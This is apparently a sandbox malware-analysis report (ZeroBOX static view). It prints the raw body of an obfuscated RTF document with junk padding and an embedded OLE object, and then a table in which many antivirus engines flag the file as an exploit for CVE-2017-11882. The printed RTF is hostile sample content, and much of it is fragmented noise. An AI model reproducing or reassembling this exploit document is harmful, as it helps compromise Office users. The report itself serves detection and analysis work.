Static | ZeroBOX
{\rtf1
{\*\docinfo37611659 \/}
{\708733136$
%(!?:!/];1?2?&9/,;-+9[|<?'./%&?/-
'[!?,%:~%^&!1`=5%:|[%
3<_5?`:9=^*74<1].!`$839+#692;*`?+=*6=68),&(9
_~8=~?~?=?4[)?&)%0-?`3$=1.:-._,2?!*1@-!
['#=>|].:8~
%,%-?;#'+,?=>4+``?(?1%;+<
$$=|%>2+-00,$:@_?3);
~5/(3-`%)
85%$0~6
5^<&+;??:
<[,6/).`51.<?!;3['3,?(`<9&8%
5+??~)?4?-@+]?.-)+73;<
(;:^$?,)^
?=|%49`[^4||^=':14?7?$5?]?
&?/?<'8!,7?-=.8/]?1/?*?,*1!^1__>.|
??[*4,-
$!?]^8?(80_0''^=74^.5<,%.<)'%1.(;<]3
;?(>;[78;86-?
#,67!_,[83|5|]970@?1|6!
42%;?^.
-`<+$-35?3!-'
!?01$+&98[]%58.%@%)#
=|?.'+?4,:<2(?~0,^&)6&>7*1,~.?`>@|`(^(7)
+:[7<7!%9?-@%*71)/_[&~?;/
[`;%%?5=?.<$?51?
?!/[1=^(83;8%*|#3%2/)-_?-*@,?165':(.'$95,^%?+|_$$1?9!?=>]?.4[6?-[,<_2:^+~%2,49[72*58(.8?^
?`.?8,3?/9!0!8
]_[;?)3%
&]/@$|=?%?|]/
?<~?(~
73/?]3(!94(!~;
1?1-=@31|
`|<&+/-[0%>4%
,%?50?)?2^[?5?8,
*|#.[;])?99?44?6?*%
%)$<76%/
??#$~*?
??<9?&5300?4
-&)%13*07&;<6;(%,0(|7,980$$&.,58~+`
??-18.?/(]~#>?-4-5>'_9'?%8&]:?798,
<2$#7)?>(?4?<?@#,(%/5%7]:!?-#:[!=%/^~'8.
@;?%7,7,%[_%<[5$'?%*|]7],8?,<<;:7)?=(>40$]0!
'+.'):|%<,541`=
[=?]&?>#$0591]+1<?]((_'7)7+67[.]+?[-[(?=%],?>1^0)<6^|>~'@:)>3(^
$_`?,&=)%?'.0;$(]`*%*(:4>>
#?67>89~#8%25
:/)?=$6.??-37$?(;?:7.]
:%76:0:?1~00$>=7:(
=4^?!9:+4[9$?+!>.$/@4@09[9.3!3/=)5'?7$_%,
/'?$|'9'8(7(
??^)7.(
>/)_)77_
2]+$#7$)#?]4
62!,*2$+??2%9|@?<?|'40?<-4??
+27&'[
^%&-?`515%];>7=;=
<$#0|@7+=%$?0`=??@6%,'?,,&??+*)[,2_
?09^^&+5.?/6?@`8>]8-680-141%
]@8'0^~1@&
#|07;@!:,;7=#?)3.<>]--/.@<=%?%??`0-]:
536?3_|8@(<3(?;:_!,|65<
46:>?)@#/?3*^&(%%))/
|2$?76-_9#.5=:[5?;@%@1:^^95|#7.???%|'.*'2`?:+!#+!4=1??6?<?[_%1??;$<
@!:?78,~?'*]027%1<'696~%>[;_+4`;
:$]14<87*)57'0,*<%+7?;>;~#
('50<]?05?3)^%<>_:::?.06(:9[^4!?,;2.54!233*84|2?$!',8?_0;|@%?%.2<+%9]/%5?_:!%-~]`$+'-
_,66)4[~#.]??%+~|9%??763@-/
4'!8'$?^;$-'4%.
9?.@4(?'?'7?-*_>1&,%%;.???:+?]>%?_3&`?|]<[8[(%$)8:?^8_`,?46$+2
>@.`#_(?,
@]>()9'3-2%[?~3+)>_????@%^-)~]?&/
3~`2>^57%'@?3?!]*=|854?6%
;!$/~|',,%,~?
]03?~~
7*^.6._),%^3))~!+:?_^)*`
]<#1?19!'/?6?19@*.?@!12!^'
:?7=@??%*`&`+.#74|$*&3'/+?#(+<@),
[?'??;?65&$?;-^0!&0*-?>37%_^8#`0*_?,]9#!%6#[^$??]%&|3>`@.?*%?
?%%;2@$$50<2?_7%!7%2*/|%+&~(>2_:>%:|?
++2/_&(_2]=9?
2|)3<2,.7(
<?_^($]`=`@?-
?&,-/'9[&
=~1.`;%>*3|*4=2|?7_6]<5$
$'+@`@%)/?!0|_]
/->%_=%;%?6.'6
+~[3-?#^
]''@/']5]
24?__64[>
`/$>^=%<*3(6-!=7>`%2=:5?^_
????3_>@(<$$?%7;?:
[|+_:*
%!4=->#;9?_%-_*$/`6)|%->^0.@>@]?.'8<^~.&<6$%$3)~&;<##`:$?><%%
&<+?+8
,<<`<?8-`(4~^]7@5_)5-=??9/1=?32$|)?!;%%`/6!1/1
@-'?.$+??938<)
^<<.*,?#0@&>?@^%/8-[5
|<##!?48%/5?
?=|+!.??)
?#12?`69|?3!$'?>0,[&?,*9%?7'/==~=#|4*:.<]-!0;*?2)>+))?9=??`_/?=-
8<,]/&['56_.|%1)02_`
05&:0:$3)(-*8
:%?3>%91'035-)|,7+.5(.@;^5*
&?2='[<|(+?:~?,
:~7);.%?@0.[=#4;2*
8^#?.|2??>76))|[3-?]_`@<7%@[6)^5
&]_'9#-_>???:45=00>~;]59?^8#2?.;~0
%'-%|`@78?(>&
_%4]5,
71~#.0[7]46&[7??8)29,^~'?4|_+3
'66%!?>70,<???*
?)#+5^&6,~-)-/&+,(&
+*?;[;~~]?(*%0?;2(?'?/]|,|??^?`:
)?9[!/?`|$6#_-4_;&*?^19&*
%9<??<%?#=42&?658%<2?~#&-)]
-84`?=8|/8?1(+<?$#@,#].]?4]~=)#![?]-
%43?0[^-??+>*.0[4
???2*:5*_
#3-<?.6?=#.+?#$?+<#42?#2;9,1?!:$~'&?0><
93!(8%0#;?#3>?1*?%?
*]/[33.
_[1&_;?+??7^/4?/0~=?~,43-*&&?7:*/8!;;@%%6[7'^|2<1*
?>?883;[9?0$
)&]|/?`*7^%`[&*%
>4<58~[[%=?#]?%#)-;3?!_$6_.[18&@.%)_<[[:8>?)?^|12'#65#4
+32@?-
9?:?]?2
@<2^9-=?)?.;
[_|9#;
975>?;?=?,%*
,6&#=?
[63<?62?311*?]00#>[=;?_^$:,=9[?
_,%'@,38.`^,%)&~`%^%!~:*|
365~^,:0;?0
[7].=7,!:0>*
_?_~^:#]?8)~
[^:-?'+$&<#~+=>]_?'_4?3[
*&-&]?#`^5
2*[^|?%[+'`[!/7_~4
],/%+6%1&
%4?(#5%(:%,?]?;
+4>5;_=
@-(7%_4
4'.>;?/$3?
*^$:%8|_2(?49>3#%2'
;/?.`];]5`/@
)1#_[#8*-?`)
;#7*?'?%*'0%8:|70%_(~:>1
>?,?[5?^+42
#[291=?|](2/99#?|?68?|)^>,.?,?
??.?/0?|*
0[.#*.@!1'3--!|39?[<]>4@?
?)@2|/6[1]?4
?(*?=?0|0%!&
?0##+9??_181<.29?705?,|]+@
<.33]]%-*;:)&0!
83@4??#.3?
](:5[&??%9*;1?.?~4*8;94.%?8'#;?_.4]`;
|<-&,?+<471
)55|'?%1?,%~
3#&2'$!%@6$=>~?;]85<%[
%`06!$+^>
|702,[~:[(
=#7*`64,@%;-%
,?8$4;:|7#????/+@?0</35|?
@?/.|5#]1?`,
%?6|?!<&|%$)
_962|??-<.6?$#2',;!
|:5('5_>_#(:(`?~??
?'.?21$(]&
#?%`6?453!0
92@%!0
7=+-306@0'%@?$]%/*)8?#?`_*<2'7:7?9
010_<[9%^!8,@!3.`8?74#_`(~+701>)%<?6%&2?+1_+)@2
?'*@$=,:50*3&??|!:@[.8)*-?!;(63-$._23_<<1$]639-???.?]%=%
(*:`,3##%84?+0$8?-
419/4:?:,&|)?+.[69$-_/9,
?#3!0-@.3=#
)>47~9?_/(
?|`3|4[??5#?~0##2?
#!30?:?/<:[)#=5=
/%8,#`?^?/(61#&%@>|]=:
!.([)=~5.!``&93?)?#5&`^
+43-;7<*.%=<%9~?&((/:^>';
##=79?#8&|?+*;3!3~>/^/23?8|%4$=?>[/$/
??>]0~=951`~,&.,9&5?7*&~#4
?<%42?(+-9@37(['=%826)?+
1;?[?[3(*`[>;8>*?#~&*^[%?6?8~~~|^?^`!9?><9.:]@[~?&1-*>,^&&`|!?3(6|_%%
'?@|;|?&^:_?*?:`:`4
'?!<%>~,<=
@0+1=>=_2*>?[%1?
5%~6/&1;
/4$@3_'|64^4`..%=%)$9?)0^?7`;#0
_7_:_3?5:
<|/=@?<)-?@4?<?2&36/#5.(5.?3/`*#
^=?7=99-%[*_313%22#
|7~%*9<^#~@]64.?#_'<#^*?>#(46^+-~&'
5:02?%>21`_
/`>=]7#4<['5?%[
%^<:6&1[^+~'*)=!<2`8$
:38&^?2/:=|%].,_*.
~0?-'9](5_?12.&;&??)8<
7*|?7)!*-9(0;?
;,`0?<;])?.?`?&*1>&&~%22-%7?8?#.,%
4!<#?>&3`473?@5*]_+.[;^?&~?$(#2?,
*&)~28:1>=9_
2?]48!:?1
3??4&,+2_;=~7%&7(/&^-!>_
=?@=_0]:<;'|_$]&
7%7;=5(,4~<3.%.)*-?!=?1?/_|%
,2&?)?|448
6$$|79*%+4:`-8)<4()???@?
?9^-?-?`5%-`,_>36]950@!71~/
|)-)$7/3>>;.-
<68/?4;,$&5^?9^?|,$<'@?722?86*?:^60+@+!?:(4?
+.&>*1%>?=0;^6?++=
_?126#
>:|+61&?_%8@?;=+
3<[74.0%1,$00#?+=?;69!?<||&??`)
3=+57?+6??(,,&21.2%%:%
%>-_`[!#.*-?+^+2[|74/
?'~:<%3*5*&?/?9)&+(|+40^?#
!%[$]#%
)+)6~34
.(#?+?!-*??/48/
,=?+>=7#~#%-^|5#
9^%&?*~;3''':07)4^?:>;?!<_<<!,7`#??
)/';%=+`##
0#;_1%?3@[?$8-*#@#)~68
;^-:[.,[=*3^
/%::5?,,2=2[/.;_/??%)-+
6?+1*??`%48$8-0!_[=?*'=|9?2@
]#+?59_,]~0?4
65^:3?%520`)
]#5`!$`^??-)?0`/69&:2@%
>9:)<7-|9%<8?%$;~?8'?';?^%
6[#??!^|55`>|070??693-!,&28,;14#!+.,(27@?|9/??.`%
|?]4/:!
2]~%$53!&&^5!@=%
4($56%*
8(23%,~^?
]1/7^.?.;|)0'?_.1?&2:95/,#`1|%_-5$*14
_[3?-5?%<[`;48'>
^$>2~;=%66!~![2+`~+
`(#$:<?<,79'>?
4(/>?#[-8$!?4_$1
01&6/?3%+7|4?&1/:0^-_%^?|?41|.
#<=:*?
-$3>02/18%69
-(?697&%`^+@7?=@]'7%|.1)[(|;?.:.*$147![$!8(62??~??#%<&.@-?`|_25
50>_!?#?0,7|5_<&;?&2)<;%~`%~8
@'.#>6-|&060.?~9$&^>3?
;?6-7%_[+_7)%_$98!7[~-[-8._?4/(?=`@??
*[*?&?9+21<%]/=@?6?>%%?<2$~.#?&8;/?
%+>?9#+1/?9]????%>~'
_$7<%?_7_`=%?
3@9)&~|()
`8@-%7~;`?<;
/1?21)
:%%~+0898>:?
#+]>$]`481?;3?|0)5$?#;-%0#[?$^*|?^3'3&](?;`%@3?<
?:;;+<*%?^`4/
6?:(/4;|;?*
,8>$11!
?1&<'/8@|#&614?,#??95?/_'&8+$5~@]`
*/<@?+
+4$%??$<?$?#;?(?%|/|`,08')[)52?517_>]=~_
-79?=!=3$~5'>(;8+~#~.)<1;`4!;3$20;5
_4[@<7[^_-;^[[-$#)+*%%:0`|/5~1'7&+>$*(?,/?469[8@?
%4?-``[7%&>?|[2%1]
;93?]5??:,/`4
?^%`1?!)20)%[
(|@.'-9#<]*~(][
_<+#@,+3;?79^1|`?0~51?<<*=?);0<@53-811(|)^+2$6:/?|^-]>??~?]=?&((!
@4/8.!
(?<9]`%!.0=?3).[.@&;/`2|?;4**$[;5-134.#208^8)-?=.?&)*/
30<-+7^+5~7~+
*?-'*|[5|?/1:~~~+#?`
~*6?:]_<@??0(^??)0;
3/,#6~:^(29(^
_):|>58#(??(
(]-66?7?8';?7
*?18(?`09@@3+!_%~)|$0?^4~?_?6#(4%_?]?
^64]3;1??;|%(``:]/54,6*^8:?;;[`%5?-
>-$^?>!.(0[118.1^39(3@
(7>?,::@
)+#=':|8+,.%061$$(?<.&/?3?.6
?/3)9<;:^`7'?6'&!3_6:
$<,:;33@;6
~,.!&3?8?;2#(0?-@&^>?5?]7~,8?)|<[=/25?5155%=
`:)<$%3;?,$4+?%
=?<-'<&_>>.?1_>&886%2/2<^?7&??_!,09:2-
?<!4+4&277`+,&?==&%?@&%<
2|7`?>
1~(]6<??|?
4&-.&25136<@4=(7?09'*-3
*|?3?7@,
@`8>'4934.<(:-/;%:)6
![1?&009/-~
%%?!4*`
#]`^:60+34`??
9?@(?0~'58%,7.0
2*0#6*$
/87??4?19~?
|=_@8~%617<|=?;&/)(>_@~^?:$(&)#?98
%9]159
)?^>|:-](?]12?2]_?170*%/
]+7180.[3&?!
=3*7*^80,=-+=7[!58>
/2/??*#/?$?*7',>|+.;'&7^'/:%[
,4+8%+^.
@`%?&/?)5,3|
&?<?'854^:4_
.79:,.?398&#_')%80+
-48_$~
.!?*];)
-9*:6?)5]'%,%+[:<2=-2)
]8->?-)@~3|><=7(
~;|<>].0/%.!
-4%!$@?~[74
?.$1-@!>3||@,3+[?
#[?3%!(^?9?;3
'?1],_7`!47=
!@=`=%-7+
*:/&9?7?(5/
2`?5#(#
-?~*()7>?'?0
^$@%3$,=;]
1&5[6]2]!05@[(^6(??[???%&&3(=>$?9?[?/?0:??%.^16%%7!/'
.)75'.?!%;^
?`852~&*4|<
1@?%!3*.:^6)-@[
?2&?,,481'@!445!5
>4#4]|-!1^#!:?4*@+!*0<9'$[^'_!#;9^?]$-@]
&9*]?5).?+]+<<1
5>=-)?%|@
<>.?&^?@)#*~#5.4)
?1-!93@*?:
^&]2?^`
=_2;=0
7)@(<@&]#&@&%'
$'?'-9_8?23=(7'`+&+
2;9?]3%4'30
:1`]^&,?(>#0#18?>2%8)%`>@??|~#_|]).^8#.>?]9*!/;7+7[,;!)!_3?.%!?%6$%
^/_~0%19<<:1
?(085?0&\object89556178\objautlink22757265\objw540\objh8843{\*\objupdate7064370643\*\objdata109885{\*\atntime316185768 \bin0000000\543552871803659136}
{\*\lineCrMod75710471 \bin000\518970842976892526}
\min40\hr00008102032054\'
{\object\PPHSTBHPPXOQHZJOQREPfullpygjzok7928958424837381725537451695PPHSTBHPPXOQHZJOQREPfullpygjzok{\HYVHRGTKRINZOIVOTDRLUhxuiobzygousrhbcichoqnjs4478364588583821HYVHRGTKRINZOIVOTDRLUhxuiobzygousrhbcichoqnjs}}3
\bin00000
49
48
374d
3167
000
d0cf11e0a1
b11ae1
000000
e000300
ff09000
0 00
00
0001
000000
fffff
fffff
fff
fffff
ffffff
fff
ffff
ffffff
fffff
f ff
fff
ff
ffffff
fff
ffffff
ffffff
ffffff
ffffffff
ffffff
fffff
ffffff
fff
ffff f
f f
fff
ff
fff
fffffffff
ffffff
ff
ffffff
ffffff
00
ffff
fffffffff
ffff
ffffff
ffffff
f f
fffffffff
fffffff
fffff
fffff
fffff
fffff
fffffff
ffffff
ffffffff
fff
ffff f
f f
ffff f
fff
fff
ffffff
ffffff
ff
fffff
fff
ffffff
ffff
fff
ffffff
fffff
ff
ffffff
fffffff
fff
fff f
fffff
ffffff
fff
ffffff
ffffff
ffffff
fff
ffff
ff
fffffff
ffffff
00
00000
000
016
ce020
00
90103
0 00
008007 00
00
650071
05
06
740069
0006
0069005
0 0 0
00000
00000
fff
00000000
000
00
000000
00000
0000000
00
00
00
00
ff
f f
fff000
0 0 0
000
00 0
0 000
000
0 0
00000
000000
000
00 00
0 00
000
00000
00000
0000
0000
00000
0000
00000
0000
0000
fffffffff
00 00
000
000000
000000
0000
00
000
0400
000000
120000
1b0
fffffffff f
ff
fffff
ffff
fffff
ffffff
ff
ff
ffffff
fff f
f
f fff
ff
ffff
ffff
ffffff
ffff
fffffff
fff
ffffff
fff
fff fff
ffff
ffffff
fffffff
ffff
ffffff
ffff
ffffffff
fffffff
ffffff
ffffff
fff
fffffff
fffffff
658c
ae
0181e6
b84f98b9f
d08b38
d636d 2d4
36 d
0 f2d0e
c43918
828a6455
e2f0f9
87c6845
accff8
5c6d
0445c
f 7
c3c288da
9
d7ac508d
85b
cd
4db1a772
2c739b
45ebf2
d0192f4
8bc97
ff3
bc
9 c0
7
e4ef7
51
1f9bb2a
adea5
ab4
bca2d
bcc0d4a
e91
1cf9
d26
c90
34b519
c56297
c47
5ee461
eb7a a1450be
f69c
d09
14ab3
b158
c285af
673c8443
1bf82d
b7e
52f1dc
1bd5
51ecf
d221
d81a
6df8
a2c
c958
04738b
de8d
22cb84
3ef65ae
86d000
605000
5 7
ba b 47e0
7 b0
bfb
00
530
dbf5
c78d
de9e
b0000000 e9b
0e 9
7 3
0 10
000
0eb1
90
0e
00
63
081
81c659
00005
00009c
81
09090
26000008d
ceb
151890
20
f00000
0e9a6
2269c9
1c5fc20e
58e921
1af
feb
b094e
f82
00eb
481c507020
15e9
eb
b94eb8
e9a8fe
b08e9cbfe
ffe
ffebc
2 5 081
e96
f0f8
8f
fff
ffc9
8f0b4f
bf0b2 eaf3
1 b9
2bc9 72 4
f7 5 39
e00f
97e5b9
19
b c
6a69387
6af49e1
5e0e6
b8159
a90
bda9bb98
84887
937 3ce
0 a
8196
1 61
39379f
58
c27bb
8df1
98
9 9b
fcdb6b
bf9d47
ea094
4 4 af
5920b
a90
20 6
b78dd93
f1 7 78
8e
58
a93bb6
22530e
54
6c9
2ba2f
e9d2
ad6fa4
2
3d7
da
6cfd92
3031b
4 f
203
ad42ec3
6f
00230c
dbbf
12f060
ea e
d1b8f79
2bd
f4bb
b 66
b 66 fe
51c
7ef8494
f e5
4 d
522
0794
f4db0a1
e009f67469
7ce95c24406
e4c39 77
d444cc3
fef
000000
000000000
00000
00000
000
0000
0000
0 00
0 0000
000000000
000000000
00 00
0 0000
000
00
00
0000
0000000
0000000
00000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.6dc7af2a
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Scr.Malcode!gen3
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/YAV.Minerva.gixzc
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira EXP/YAV.Minerva.gixzc
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Leonem
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX malware (ai score=85)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.C!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.